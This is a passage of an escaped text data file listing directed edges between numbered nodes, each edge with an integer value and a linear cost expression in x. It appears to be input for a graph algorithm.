3102\n34->15\t63\t8243*x + 5756\n83->74\t55\t35617*x + 6610\n57->71\t37\t25031*x + 6555\n95->51\t97\t15427*x + 5139\n84->97\t108\t48487*x + 357\n49->11\t43\t32713*x + 4100\n88->35\t88\t70237*x + 6747\n65->3\t118\t19427*x + 7681\n36->93\t98\t73477*x + 5271\n6->47\t90\t59023*x + 3483\n32->45\t13\t89417*x + 15948\n93->35\t88\t26633*x + 1833\n47->49\t68\t58099*x + 6811\n91->30\t96\t42571*x + 4693\n90->24\t65\t35809*x + 4468\n16->1\t112\t42391*x + 356\n23->7\t126\t65881*x + 874\n78->17\t104\t23291*x + 3587\n3->77\t106\t60457*x + 5217\n5->28\t50\t3119*x + 519\n36->12\t101\t56957*x + 3614\n20->84\t89\t4831*x + 2783\n42->58\t35\t71699*x + 842\n56->14\t77\t74027*x + 6692\n79->39\t113\t12527*x + 7403\n44->4\t48\t56009*x + 3287\n78->53\t120\t97651*x + 14660\n12->6\t123\t14843*x + 6279\n40->46\t74\t1427*x + 6596\n18->38\t75\t38183*x + 913\n64->95\t111\t42649*x + 94\n72->93\t98\t47149*x + 1460\n19->91\t91\t12757*x + 2315\n31->11\t43\t28859*x + 6864\n85->58\t35\t62723*x + 2506\n57->99\t54\t79943*x + 3374\n85->1\t112\t56207*x + 1494\n75->59\t84\t35089*x + 512\n73->51\t97\t84979*x + 8342\n97->85\t83\t59377*x + 722\n64->71\t37\t35899*x + 6064\n67->39\t113\t21841*x + 6399\n49->9\t115\t82837*x + 1310\n98->68\t36\t269*x + 6907\n1->30\t96\t38593*x + 4800\n37->92\t51\t35533*x + 5521\n77->64\t70\t54779*x + 430\n6->32\t69\t66047*x + 6429\n86->33\t122\t72167*x + 300\n61->31\t47\t65929*x + 7873\n82->94\t125\t80627*x + 4205\n27->80\t110\t63949*x + 239\n23->64\t70\t17029*x + 2344\n73->92\t51\t40231*x + 917\n94->12\t101\t50077*x + 4261\n66->92\t51\t82153*x + 3827\n47->96\t67\t8101*x + 2436\n55->12\t101\t22613*x + 4374\n98->63\t60\t32423*x + 5553\n12->38\t75\t68903*x + 3952\n73->34\t41\t66037*x + 876\n55->42\t87\t42773*x + 6241\n36->53\t120\t74611*x + 3275\n53->68\t36\t33391*x + 1926\n83->57\t109\t18439*x + 6845\n37->7\t126\t9421*x + 4929\n52->61\t10\t57259*x + 510\n16->41\t73\t47903*x + 6617\n4->94\t125\t95231*x + 8999\n1->79\t100\t90511*x + 15160\n77->38\t75\t32797*x + 4885\n17->14\t77\t93923*x + 15756\n41->2\t72\t97177*x + 14728\n28->0\t33\t82531*x + 3234\n16->68\t36\t98773*x + 10584\n13->51\t97\t29741*x + 5433\n23->30\t96\t69623*x + 1459\n29->73\t102\t36037*x + 6315\n53->65\t95\t21503*x + 5423\n46->47\t90\t86011*x + 12633\n10->85\t83\t91121*x + 8817\n5->87\t121\t50591*x + 1405\n12->81\t32\t88807*x + 9720\n9->17\t104\t22543*x + 387\n99->81\t32\t28447*x + 5850\n18->61\t10\t2731*x + 4140\n51->85\t83\t76343*x + 4947\n94->92\t51\t90703*x + 11581\n62->4\t48\t94573*x + 15798\n78->66\t44\t68749*x + 1353\n90->62\t103\t8999*x + 4038\n9->79\t100\t35603*x + 7926\n47->57\t109\t4211*x + 4180\n9->88\t71\t89891*x + 12388\n53->3\t118\t20611*x + 6361\n77->80\t110\t15913*x + 703\n76->78\t76\t19583*x + 81\n32->27\t58\t53113*x + 1848\n15->47\t90\t95813*x + 12100\n33->84\t89\t72223*x + 4196\n83->4\t48\t90397*x + 15150\n94->56\t119\t11839*x + 401\n19->0\t33\t88657*x + 12378\n84->95\t111\t70607*x + 13\n68->98\t93\t739*x + 3807\n1->35\t88\t67247*x + 1979\n92->66\t44\t86509*x + 12919\n1->20\t62\t30893*x + 671\n40->50\t116\t100357*x + 11489\n63->69\t59\t59159*x + 7742\n7->82\t40\t34649*x + 8044\n66->90\t86\t49333*x + 2957\n15->21\t9\t54907*x + 377\n95->46\t74\t68491*x + 6153\n62->25\t52\t79907*x + 1457\n68->61\t10\t89041*x + 14944\n37->60\t85\t19387*x + 6529\n0->93\t98\t39953*x + 8015\n85->30\t96\t97607*x + 10656\n38->28\t50\t89989*x + 8497\n19->87\t121\t43049*x + 4865\n53->75\t56\t54799*x + 6228\n21->58\t35\t14951*x + 5491\n39->70\t57\t32971*x + 5866\n3->24\t65\t34337*x + 8019\n23->94\t125\t17299*x + 3875\n11->15\t63\t63419*x + 6569\n35->78\t76\t79423*x + 1588\n38->98\t93\t3769*x + 1299\n41->16\t66\t71191*x + 3663\n34->95\t111\t97931*x + 10165\n9->51\t97\t85933*x + 12941\n53->25\t52\t87223*x + 9926\n58->13\t99\t35153*x + 140\n75->67\t117\t47917*x + 3922\n23->55\t39\t88427*x + 13218\n60->72\t92\t59263*x + 6294\n76->27\t58\t40543*x + 7812\n19->63\t60\t69031*x + 542\n62->69\t59\t41507*x + 2738\n98->25\t52\t72353*x + 5560\n95->61\t10\t77513*x + 7635\n13->61\t10\t19531*x + 7890\n71->29\t38\t503*x + 7012\n64->66\t44\t8269*x + 1919\n50->80\t110\t90481*x + 11358\n92->53\t120\t69833*x + 6990\n58->35\t88\t77813*x + 3880\n34->24\t65\t31193*x + 6182\n97->40\t34\t11239*x + 4980\n73->93\t98\t82567*x + 3070\n20->23\t11\t31307*x + 2647\n23->56\t119\t44029*x + 39\n85->88\t71\t47527*x + 1389\n58->36\t79\t59929*x + 5951\n82->34\t41\t38977*x + 5639\n73->21\t9\t1039*x + 6366\n62->41\t73\t56053*x + 235\n10->92\t51\t98321*x + 11168\n25->77\t106\t49877*x + 3552\n34->8\t49\t75289*x + 2751\n43->57\t109\t48991*x + 5678\n86->68\t36\t85513*x + 13673\n32->81\t32\t18839*x + 1184\n55->66\t44\t22921*x + 3448\n42->43\t105\t51361*x + 6592\n95->0\t33\t41983*x + 5053\n96->44\t45\t2707*x + 2852\n14->93\t98\t65123*x + 4826\n18->52\t42\t104593*x + 14894\n59->60\t85\t85991*x + 12056\n19->56\t119\t63901*x + 477\n45->50\t116\t7867*x + 6616\n92->15\t63\t85829*x + 11231\n2->54\t94\t17027*x + 3062\n52->83\t12\t42557*x + 4708\n59->85\t83\t100057*x + 9375\n76->29\t38\t17053*x + 864\n60->41\t73\t23087*x + 2609\n22->91\t91\t53717*x + 2499\n42->90\t86\t26183*x + 3872\n81->72\t92\t34261*x + 1047\n31->32\t69\t66749*x + 7033\n22->26\t81\t93851*x + 16130\n12->99\t54\t33013*x + 4590\n80->10\t46\t1109*x + 5818\n22->99\t54\t23773*x + 2705\n86->31\t47\t41*x + 7374\n53->26\t81\t95891*x + 10366\n18->34\t41\t59879*x + 4988\n19->39\t113\t6983*x + 2496\n2->53\t120\t91183*x + 15882\n3->92\t51\t63199*x + 6401\n70->70\t57\t43801*x + 5333\n69->33\t122\t99901*x + 8280\n64->26\t81\t44267*x + 6409\n6->81\t32\t29947*x + 1559\n49->62\t103\t30869*x + 6884\n54->65\t95\t88861*x + 9742\n17->79\t100\t79697*x + 3067\n57->92\t51\t63473*x + 809\n76->24\t65\t102793*x + 15832\n84->94\t125\t40531*x + 6331\n15->82\t40\t4523*x + 3645\n65->82\t40\t569*x + 7532\n85->46\t74\t4157*x + 2665\n33->1\t112\t37879*x + 1362\n0->80\t110\t90617*x + 8215\n39->91\t91\t91127*x + 15499\n25->1\t112\t39847*x + 4279\n34->19\t61\t31957*x + 3589\n25->74\t55\t2803*x + 4892\n81->95\t111\t66629*x + 1520\n68->39\t113\t43961*x + 2439\n5->57\t109\t41843*x + 1265\n28->75\t56\t102023*x + 8316\n12->36\t79\t46133*x + 3116\n47->40\t34\t102019*x + 13715\n79->12\t101\t64579*x + 3420\n96->80\t110\t88589*x + 12575\n5->47\t90\t8233*x + 4356\n19->66\t44\t2939*x + 3061\n62->88\t71\t53377*x + 6518\n75->72\t92\t50021*x + 4853\n72->26\t81\t76103*x + 4524\n34->55\t39\t47629*x + 7748\n32->37\t114\t87281*x + 12790\n41->85\t83\t34471*x + 460\n40->64\t70\t1721*x + 4527\n33->87\t121\t70489*x + 4679\n75->60\t85\t14489*x + 5955\n44->63\t60\t38923*x + 7571\n43->61\t10\t59021*x + 4292\n52->90\t86\t58171*x + 3206\n31->54\t94\t83701*x + 2947\n97->95\t111\t55009*x + 6750\n88->74\t55\t61673*x + 4868\n44->58\t35\t86743*x + 11112\n28->68\t36\t14173*x + 6640\n37->59\t84\t84443*x + 13648\n98->32\t69\t7541*x + 5204\n91->22\t64\t47543*x + 1709\n95->63\t60\t48299*x + 6676\n98->86\t53\t17971*x + 4712\n2->62\t103\t99817*x + 12357\n32->23\t11\t39703*x + 177\n59->87\t121\t30319*x + 4331\n72->23\t11\t18731*x + 7296\n13->66\t44\t20747*x + 8125\n9->21\t9\t6427*x + 4210\n68->70\t57\t36479*x + 141\n20->16\t66\t89021*x + 12138\n39->82\t40\t11887*x + 4857\n87->76\t124\t89107*x + 8787\n64->39\t113\t13921*x + 358\n71->84\t89\t46273*x + 3833\n86->40\t34\t7789*x + 971\n20->2\t72\t10159*x + 2153\n78->11\t43\t84389*x + 8915\n63->59\t84\t48179*x + 5221\n48->87\t121\t18289*x + 7136\n89->45\t13\t75227*x + 3835\n49->42\t87\t95621*x + 12115\n83->30\t96\t72727*x + 4111\n41->3\t118\t60293*x + 6753\n92->68\t36\t99991*x + 12930\n12->78\t76\t9811*x + 4473\n41->97\t108\t97381*x + 11744\n79->83\t12\t103561*x + 14716\n70->64\t70\t69221*x + 1940\n68->37\t114\t7907*x + 7753\n51->0\t33\t48281*x + 7373\n23->52\t42\t19739*x + 6682\n44->5\t82\t82883*x + 967\n63->1\t112\t67943*x + 4267\n68->80\t110\t69497*x + 4915\n67->85\t83\t52673*x + 7152\n15->81\t32\t51307*x + 5332\n13->57\t109\t62003*x + 2838\n41->17\t104\t87257*x + 9064\n19->1\t112\t91591*x + 10064\n61->90\t86\t59887*x + 5685\n33->12\t101\t49463*x + 5047\n2->27\t58\t64663*x + 2492\n11->65\t95\t80039*x + 712\n22->47\t90\t88423*x + 10107\n62->97\t108\t41543*x + 5643\n10->4\t48\t60757*x + 4596\n20->29\t38\t68279*x + 7462\n63->36\t79\t64679*x + 6664\n97->47\t90\t73351*x + 4691\n30->43\t105\t54049*x + 1803\n78->25\t52\t72533*x + 6106\n23->54\t94\t37799*x + 6881\n91->19\t61\t52981*x + 3586\n34->97\t108\t36877*x + 1213\n54->14\t77\t55291*x + 3744\n21->81\t32\t94219*x + 13349\n15->77\t106\t65951*x + 610\n51->1\t112\t27103*x + 7291\n26->55\t39\t91631*x + 11854\n8->40\t34\t61927*x + 4041\n49->6\t123\t17093*x + 2048\n18->82\t40\t40499*x + 4220\n99->86\t53\t76883*x + 6100\n56->25\t52\t21587*x + 3961\n87->88\t71\t24977*x + 4332\n7->74\t55\t33767*x + 6493\n89->37\t114\t34429*x + 1239\n69->22\t64\t85259*x + 12218\n82->72\t92\t6563*x + 6671\n55->25\t52\t49667*x + 6475\n8->70\t57\t71153*x + 6677\n51->76\t124\t6287*x + 7014\n21->41\t73\t62401*x + 1705\n18->17\t104\t44017*x + 3865\n67->21\t9\t91921*x + 14787\n3->26\t81\t39461*x + 6461\n70->75\t56\t44497*x + 1650\n10->87\t121\t24371*x + 5995\n69->35\t88\t2129*x + 4102\n22->42\t87\t43189*x + 7854\n28->5\t82\t49787*x + 3569\n5->94\t125\t53773*x + 394\n72->7\t126\t52391*x + 1458\n18->70\t57\t71593*x + 1178\n99->56\t119\t83813*x + 660\n33->3\t118\t82507*x + 2044\n87->45\t13\t83459*x + 844\n35->40\t34\t88411*x + 10931\n52->33\t122\t71453*x + 2560\n13->64\t70\t33601*x + 1071\n89->17\t104\t56807*x + 4512\n23->88\t71\t81749*x + 8036\n9->77\t106\t84701*x + 10319\n87->1\t112\t56101*x + 6358\n28->62\t103\t103703*x + 12434\n17->56\t119\t32083*x + 1100\n82->0\t33\t2749*x + 665\n56->99\t54\t104473*x + 11421\n60->4\t48\t34673*x + 4349\n0->53\t120\t69191*x + 4703\n70->57\t109\t86719*x + 15517\n80->47\t90\t30817*x + 5169\n65->64\t70\t74761*x + 2131\n72->59\t84\t83023*x + 2815\n71->50\t116\t28657*x + 1441\n74->19\t61\t19763*x + 3524\n83->99\t54\t63487*x + 1451\n8->10\t46\t11243*x + 472\n62->61\t10\t85619*x + 15980\n3->96\t67\t44453*x + 657\n48->66\t44\t48799*x + 5813\n94->17\t104\t68473*x + 8062\n7->36\t79\t94331*x + 9196\n45->81\t32\t5279*x + 8009\n65->96\t67\t10987*x + 7271\n71->52\t42\t60161*x + 659\n7->24\t65\t65353*x + 6694\n10->31\t47\t72379*x + 2935\n98->30\t96\t8609*x + 6893\n26->21\t9\t98257*x + 9853\n77->85\t83\t61751*x + 490\n62->71\t37\t82499*x + 759\n24->68\t36\t50873*x + 3455\n76->67\t117\t34303*x + 1639\n4->91\t91\t95257*x + 9309\n96->50\t116\t95911*x + 15620\n24->26\t81\t30859*x + 2106\n72->47\t90\t239*x + 2582\n54->91\t91\t82007*x + 1882\n31->79\t100\t14029*x + 7693\n54->17\t104\t4759*x + 2406\n98->91\t91\t86077*x + 16327\n41->15\t63\t23131*x + 4054\n50->23\t11\t71333*x + 4324\n17->19\t61\t84163*x + 14653\n63->51\t97\t96353*x + 13717\n22->46\t74\t99551*x + 14654\n25->89\t107\t10133*x + 1571\n49->94\t125\t38891*x + 7073\n38->12\t101\t9391*x + 937\n73->95\t111\t31033*x + 4581\n52->20\t62\t28211*x + 4741\n51->57\t109\t69473*x + 3959\n99->84\t89\t8779*x + 7486\n70->60\t85\t13879*x + 3918\n60->17\t104\t12281*x + 4053\n76->75\t56\t17159*x + 1208\n2->2\t72\t41131*x + 4576\n29->31\t47\t94949*x + 10135\n83->40\t34\t12841*x + 1051\n46->63\t60\t95527*x + 12931\n38->77\t106\t46819*x + 1707\n95->75\t56\t18797*x + 1117\n37->52\t42\t18397*x + 4115\n94->27\t58\t87683*x + 14965\n8->9\t115\t15881*x + 180\n32->72\t92\t74873*x + 4414\n15->0\t33\t24517*x + 6963\n4->2\t72\t82031*x + 1037\n79->26\t81\t89591*x + 12708\n2->11\t43\t27941*x + 667\n0->90\t86\t31253*x + 999\n43->0\t33\t90863*x + 8859\n20->59\t84\t24989*x + 6612\n55->33\t122\t6971*x + 7134\n51->49\t68\t75377*x + 3098\n86->71\t37\t29863*x + 6978\n44->81\t32\t42533*x + 1769\n66->89\t107\t5351*x + 7304\n7->1\t112\t29327*x + 7826\n26->37\t114\t6977*x + 5989\n13->15\t63\t33563*x + 2290\n94->40\t34\t6073*x + 2793\n43->99\t54\t42443*x + 4723\n42->35\t88\t18541*x + 74\n83->47\t90\t77269*x + 5226\n74->57\t109\t30707*x + 7091\n12->96\t67\t49823*x + 5487\n87->81\t32\t46591*x + 6144\n17->75\t56\t63031*x + 338\n73->80\t110\t8941*x + 3673\n47->11\t43\t74101*x + 692\n55->56\t119\t18787*x + 5019\n60->68\t36\t16433*x + 1607\n17->29\t38\t137*x + 3359\n55->75\t56\t12653*x + 3058\n42->63\t60\t72679*x + 5868\n22->40\t34\t57383*x + 99\n84->73\t102\t38933*x + 6863\n69->28\t50\t2347*x + 1554\n99->22\t64\t33349*x + 2278\n81->6\t123\t59921*x + 5960\n92->38\t75\t56003*x + 7779\n46->99\t54\t16087*x + 1631\n11->71\t37\t46237*x + 8175\n6->74\t55\t9463*x + 5379\n45->34\t41\t52553*x + 8136\n64->8\t49\t59707*x + 2510\n50->8\t49\t36389*x + 8163\n16->17\t104\t104579*x + 9848\n50->7\t126\t48767*x + 7713\n85->66\t44\t14699*x + 3122\n88->63\t60\t18307*x + 2781\n79->6\t123\t9623*x + 5073\n7->80\t110\t48817*x + 2442\n61->21\t9\t90731*x + 10861\n72->6\t123\t27011*x + 3474\n88->89\t107\t57077*x + 6641\n27->21\t9\t19919*x + 6386\n58->81\t32\t65587*x + 7888\n86->84\t89\t7927*x + 3973\n38->59\t84\t11821*x + 7263\n81->63\t60\t83857*x + 7934\n80->22\t64\t71347*x + 6004\n38->72\t92\t30841*x + 551\n45->43\t105\t100361*x + 14374\n93->14\t77\t35251*x + 2635\n65->10\t46\t86923*x + 13969\n36->89\t107\t36791*x + 5276\n24->50\t116\t103577*x + 11574\n90->13\t99\t50839*x + 3172\n28->7\t126\t6469*x + 4348\n60->35\t88\t47*x + 5507\n78->39\t113\t55259*x + 7359\n95->1\t112\t29837*x + 6440\n21->79\t100\t54269*x + 4769\n31->69\t59\t82171*x + 2102\n67->27\t58\t53681*x + 1490\n84->36\t79\t22397*x + 6892\n52->47\t90\t104383*x + 9016\n28->64\t70\t83591*x + 2805\n94->6\t123\t86311*x + 9825\n36->76\t124\t64577*x + 6489\n55->80\t110\t62563*x + 7717\n50->51\t97\t84947*x + 15837\n33->19\t61\t2351*x + 4515\n11->88\t71\t96479*x + 16260\n83->73\t102\t45337*x + 1247\n98->42\t87\t54919*x + 3711\n94->68\t36\t109*x + 2932\n28->99\t54\t26141*x + 3911\n87->12\t101\t30241*x + 2084\n53->63\t60\t87547*x + 12703\n27->66\t44\t58699*x + 3626\n32->49\t68\t75617*x + 2316\n87->72\t92\t71563*x + 1245\n74->13\t99\t26683*x + 2537\n86->63\t60\t12853*x + 1993\n2->22\t64\t92671*x + 15770\n41->63\t60\t6871*x + 53\n5->41\t73\t87107*x + 11409\n79->95\t111\t25919*x + 6044\n65->89\t107\t21227*x + 4752\n83->2\t72\t88993*x + 14593\n95->45\t13\t48989*x + 5773\n80->11\t43\t34747*x + 1759\n19->29\t38\t84377*x + 10274\n97->51\t97\t71261*x + 2811\n10->38\t75\t51673*x + 8079\n37->2\t72\t41761*x + 4936\n5->24\t65\t28867*x + 4859\n65->79\t100\t9059*x + 1641\n62->96\t67\t29027*x + 5014\n5->56\t119\t71971*x + 3804\n30->57\t109\t28069*x + 7087\n97->38\t75\t17417*x + 3161\n60->43\t105\t5051*x + 441\n92->67\t117\t13421*x + 1911\n93->88\t71\t1277*x + 4453\n98->7\t126\t30871*x + 2181\n83->21\t9\t36107*x + 1716\n77->4\t48\t34319*x + 3779\n98->18\t80\t39799*x + 1388\n71->19\t61\t54869*x + 7044\n8->95\t111\t953*x + 757\n32->6\t123\t26783*x + 3169\n54->95\t111\t31849*x + 4675\n53->49\t68\t89231*x + 13413\n64->91\t91\t102409*x + 12299\n90->12\t101\t72671*x + 7246\n98->74\t55\t92041*x + 13356\n5->9\t115\t27851*x + 5792\n9->89\t107\t22853*x + 382\n51->6\t123\t6737*x + 7906\n72->71\t37\t51721*x + 3748\n83->56\t119\t4373*x + 7101\n26->63\t60\t92251*x + 11278\n37->65\t95\t103289*x + 14705\n99->94\t125\t103333*x + 11909\n33->34\t41\t69959*x + 6510\n32->87\t121\t92791*x + 10874\n13->59\t84\t44279*x + 6605\n71->69\t59\t227*x + 2610\n49->30\t96\t1871*x + 3937\n8->5\t82\t72109*x + 5142\n65->65\t95\t88883*x + 12855\n88->29\t38\t54181*x + 3921\n85->71\t37\t5813*x + 6383\n14->51\t97\t45893*x + 5275\n45->55\t39\t67987*x + 2075\n78->12\t101\t12613*x + 2219\n97->58\t35\t47059*x + 4413\n2->68\t36\t15907*x + 5306\n55->22\t64\t25763*x + 547\n4->77\t106\t33773*x + 4989\n31->68\t36\t37223*x + 5474\n39->42\t87\t62869*x + 1115\n51->13\t99\t2663*x + 6816\n71->67\t117\t21943*x + 3674\n81->20\t62\t5557*x + 3930\n4->28\t50\t69761*x + 1680\n71->46\t74\t65323*x + 4379\n88->72\t92\t35527*x + 2301\n49->73\t102\t45413*x + 7415\n0->10\t46\t58147*x + 7928\n54->89\t107\t70753*x + 6350\n46->60\t85\t88969*x + 8212\n14->1\t112\t37357*x + 3746\n50->67\t117\t1069*x + 2897\n0->69\t59\t47353*x + 1642\n86->27\t58\t53279*x + 8161\n21->77\t106\t56629*x + 331\n74->42\t87\t1637*x + 4199\n95->10\t46\t11299*x + 2139\n69->73\t102\t33461*x + 8147\n15->98\t93\t22511*x + 3560\n65->75\t56\t94009*x + 8326\n88->10\t46\t5233*x + 4148\n16->3\t118\t14939*x + 3886\n62->5\t82\t12421*x + 6137\n22->92\t51\t97849*x + 14424\n28->57\t109\t70327*x + 240\n48->49\t68\t27281*x + 281\n18->24\t65\t49261*x + 5206\n56->59\t84\t32173*x + 3624\n77->59\t84\t27647*x + 2908\n51->97\t108\t90659*x + 9990\n35->92\t51\t17033*x + 269\n2->69\t59\t20743*x + 2829\n51->41\t73\t79181*x + 1379\n92->0\t33\t37061*x + 1560\n14->28\t50\t29339*x + 485\n84->87\t121\t1621*x + 8170\n4->86\t53\t33413*x + 3094\n90->77\t106\t95027*x + 8894\n31->90\t86\t42689*x + 4813\n85->0\t33\t11959*x + 6524\n14->82\t40\t32411*x + 7301\n89->22\t64\t14851*x + 471\n6->16\t66\t101573*x + 14560\n84->19\t61\t76207*x + 1630\n68->88\t71\t90841*x + 13956\n20->95\t111\t43177*x + 7043\n63->87\t121\t59417*x + 414\n5->73\t102\t5309*x + 4597\n20->30\t96\t22277*x + 7177\n63->85\t83\t63667*x + 5893\n19->36\t79\t67651*x + 6081\n4->21\t9\t47713*x + 7109\n23->61\t10\t96323*x + 10394\n21->67\t117\t81517*x + 1489\n46->14\t77\t39971*x + 8017\n50->38\t75\t32257*x + 6913\n84->22\t64\t6691*x + 5570\n93->86\t53\t68507*x + 2674\n26->30\t96\t42461*x + 2944\n47->66\t44\t45427*x + 4420\n26->1\t112\t103483*x + 15594\n5->49\t68\t66973*x + 3977\n90->80\t110\t69257*x + 2200\n53->81\t32\t17579*x + 2744\n11->31\t47\t30949*x + 7775\n91->21\t9\t102881*x + 13494\n66->22\t64\t4357*x + 3442\n24->14\t77\t26681*x + 7279\n95->80\t110\t51151*x + 1396\n24->2\t72\t65677*x + 5135\n68->63\t60\t4457*x + 3765\n19->98\t93\t5581*x + 7107\n90->30\t96\t74719*x + 4860\n77->10\t46\t65851*x + 5701\n79->61\t10\t63277*x + 7299\n74->43\t105\t3989*x + 6789\n4->56\t119\t3461*x + 6792\n68->65\t95\t6473*x + 2868\n54->52\t42\t17257*x + 6012\n20->70\t57\t9619*x + 6826\n44->54\t94\t21521*x + 4587\n86->12\t101\t102191*x + 9372\n12->46\t74\t82003*x + 5520\n71->23\t11\t34603*x + 1471\n32->38\t75\t8713*x + 52\n4->61\t10\t80449*x + 6803\n87->21\t9\t1201*x + 253\n78->2\t72\t20807*x + 617\n59->4\t48\t42131*x + 1235\n54->73\t102\t82237*x + 3869\n29->90\t86\t100699*x + 14100\n4->84\t89\t32233*x + 2527\n47->52\t42\t19603*x + 4717\n9->35\t88\t35227*x + 425\n46->5\t82\t55691*x + 6777\n30->22\t64\t46811*x + 3343\n11->73\t102\t26209*x + 7587\n33->83\t12\t53149*x + 3174\n50->49\t68\t100153*x + 14302\n12->44\t45\t51241*x + 2752\n33->64\t70\t37963*x + 1069\n34->5\t82\t94847*x + 16210\n42->4\t48\t4909*x + 8086\n61->12\t101\t103841*x + 15097\n3->89\t107\t39829*x + 4545\n11->10\t46\t74929*x + 1499\n72->52\t42\t71399*x + 4651\n64->93\t98\t12373*x + 7529\n33->27\t58\t3533*x + 5422\n38->41\t73\t96043*x + 8196\n89->83\t12\t59393*x + 3848\n33->55\t39\t87481*x + 14232\n2->96\t67\t2273*x + 3809\n68->14\t77\t72043*x + 3323\n82->22\t64\t54193*x + 7364\n75->61\t10\t35317*x + 5877\n70->6\t123\t85453*x + 11531\n66->35\t88\t70229*x + 6672\n54->27\t58\t51341*x + 1080\n66->91\t91\t100169*x + 10426\n94->69\t59\t97459*x + 13981\n27->62\t103\t67181*x + 4376\n43->41\t73\t64189*x + 1205\n61->78\t76\t20749*x + 3757\n52->13\t99\t42073*x + 6696\n59->72\t92\t61553*x + 5782\n63->21\t9\t96097*x + 13113\n24->27\t58\t44633*x + 4416\n66->67\t117\t22727*x + 3026\n62->51\t97\t34849*x + 4469\n39->12\t101\t82763*x + 1349\n19->13\t99\t397*x + 4016\n81->1\t112\t76579*x + 584\n76->68\t36\t21871*x + 6566\n92->19\t61\t74713*x + 5456\n95->92\t51\t101917*x + 11437\n24->65\t95\t18253*x + 86\n65->45\t13\t25097*x + 4343\n94->96\t67\t19289*x + 4493\n52->41\t73\t100741*x + 15468\n73->68\t36\t79811*x + 587\n4->26\t81\t48259*x + 1395\n10->72\t92\t100193*x + 15914\n5->72\t92\t44053*x + 1173\n48->99\t54\t50123*x + 5164\n77->49\t68\t8161*x + 5556\n88->86\t53\t91961*x + 11660\n4->97\t108\t46751*x + 5633\n48->72\t92\t103843*x + 12199\n66->42\t87\t41959*x + 567\n71->38\t75\t47237*x + 6580\n36->57\t109\t97369*x + 14237\n40->17\t104\t46411*x + 2660\n38->93\t98\t85909*x + 9299\n12->34\t41\t91193*x + 15888\n98->56\t119\t37189*x + 2742\n4->22\t64\t74509*x + 569\n32->42\t87\t5479*x + 2846\n4->71\t37\t64927*x + 2680\n17->44\t45\t17077*x + 1092\n39->50\t116\t103813*x + 9805\n42->2\t72\t26731*x + 6499\n17->32\t69\t5381*x + 7533\n15->55\t39\t53003*x + 5238\n82->54\t94\t77141*x + 3128\n13->28\t50\t59029*x + 4488\n38->69\t59\t75653*x + 4240\n24->98\t93\t6359*x + 5991\n9->27\t58\t27997*x + 348\n50->45\t13\t12967*x + 3124\n27->82\t40\t39581*x + 6551\n9->2\t72\t18749*x + 1510\n17->7\t126\t4201*x + 5051\n28->24\t65\t32323*x + 7905\n49->36\t79\t62773*x + 447\n50->99\t54\t50261*x + 1535\n76->43\t105\t24907*x + 3274\n8->56\t119\t9901*x + 7794\n80->85\t83\t50923*x + 5380\n58->44\t45\t61297*x + 6931\n67->50\t116\t85303*x + 11629\n58->51\t97\t88897*x + 10018\n4->58\t35\t38603*x + 1242\n62->66\t44\t80911*x + 1583\n71->87\t121\t97367*x + 9840\n90->38\t75\t94531*x + 11006\n46->4\t48\t59567*x + 6725\n33->41\t73\t68059*x + 5000\n51->90\t86\t89597*x + 8712\n0->83\t12\t36473*x + 146\n73->29\t38\t71011*x + 5914\n47->73\t102\t98009*x + 15720\n36->20\t62\t8461*x + 4108\n15->39\t113\t100363*x + 14047\n51->14\t77\t17291*x + 5404\n76->76\t124\t95957*x + 15991\n35->15\t63\t93283*x + 11390\n27->52\t42\t92639*x + 10578\n94->14\t77\t10559*x + 4631\n77->65\t95\t50221*x + 7375\n62->79\t100\t41117*x + 3288\n98->79\t100\t4973*x + 3676\n35->90\t86\t31183*x + 6634\n9->36\t79\t101477*x + 13232\n47->58\t35\t62137*x + 5598\n80->51\t97\t1759*x + 7591\n4->68\t36\t86843*x + 11318\n70->17\t104\t32303*x + 1579\n93->27\t58\t81173*x + 2980\n20->92\t51\t59471*x + 1276\n83->51\t97\t41617*x + 3891\n45->40\t34\t14741*x + 648\n85->99\t54\t42569*x + 5811\n80->27\t58\t54331*x + 7910\n85->83\t12\t87433*x + 10220\n42->52\t42\t21493*x + 6979\n43->89\t107\t20357*x + 6862\n92->36\t79\t66083*x + 5891\n96->43\t105\t90793*x + 16294\n14->19\t61\t4861*x + 2629\n60->84\t89\t17167*x + 2969\n8->97\t108\t30011*x + 5063\n89->63\t60\t49669*x + 2543\n64->60\t85\t85549*x + 12512\n31->30\t96\t31583*x + 2295\n46->43\t105\t101833*x + 8957\n44->92\t51\t25903*x + 2512\n73->17\t104\t52501*x + 2151\n92->85\t83\t14957*x + 5210\n70->96\t67\t37649*x + 6940\n14->66\t44\t2411*x + 408\n9->6\t123\t4639*x + 3606\n75->0\t33\t77747*x + 3231\n10->65\t95\t19483*x + 7236\n65->16\t66\t79319*x + 418\n84->15\t63\t53381*x + 3315\n47->75\t56\t5099*x + 1754\n7->4\t48\t26557*x + 6278\n2->40\t34\t102317*x + 15055\n26->15\t63\t21701*x + 5791\n65->6\t123\t53077*x + 6179\n46->9\t115\t14891*x + 1813\n91->98\t93\t49663*x + 1491\n10->54\t94\t8887*x + 44\n3->82\t40\t63841*x + 4153\n34->17\t104\t55763*x + 38\n2->10\t46\t29443*x + 3263\n85->39\t113\t73849*x + 5411\n97->76\t124\t33191*x + 5652\n74->0\t33\t20101*x + 2828\n19->68\t36\t64661*x + 2554\n46->59\t84\t101323*x + 15171\n40->92\t51\t56923*x + 2750\n58->8\t49\t64091*x + 8040\n25->70\t57\t68171*x + 5236\n70->48\t78\t96199*x + 16289\n10->89\t107\t83383*x + 7421\n37->20\t62\t21817*x + 3923\n58->34\t41\t59723*x + 5896\n20->13\t99\t80473*x + 8106\n56->97\t108\t599*x + 7037\n82->91\t91\t20809*x + 7168\n65->39\t113\t3709*x + 6183\n30->14\t77\t73303*x + 7342\n67->44\t45\t32587*x + 4541\n39->31\t47\t87133*x + 15238\n91->15\t63\t39719*x + 5394\n27->33\t122\t19073*x + 632\n14->8\t49\t62311*x + 2758\n60->53\t120\t74797*x + 5146\n23->19\t61\t9791*x + 1618\n46->46\t74\t70459*x + 8068\n2->78\t76\t96419*x + 12724\n7->58\t35\t12959*x + 554\n55->8\t49\t98873*x + 16364\n7->32\t69\t14437*x + 2946\n4->45\t13\t59771*x + 3259\n54->54\t94\t9931*x + 4927\n97->61\t10\t13241*x + 3820\n41->39\t113\t15671*x + 3475\n12->60\t85\t22859*x + 5366\n92->4\t48\t36653*x + 1075\n72->78\t76\t45949*x + 230\n54->68\t36\t67559*x + 3479\n58->26\t81\t44027*x + 6325\n82->86\t53\t10667*x + 2874\n38->85\t83\t45127*x + 974\n89->0\t33\t27847*x + 5099\n69->11\t43\t19441*x + 6080\n66->65\t95\t93257*x 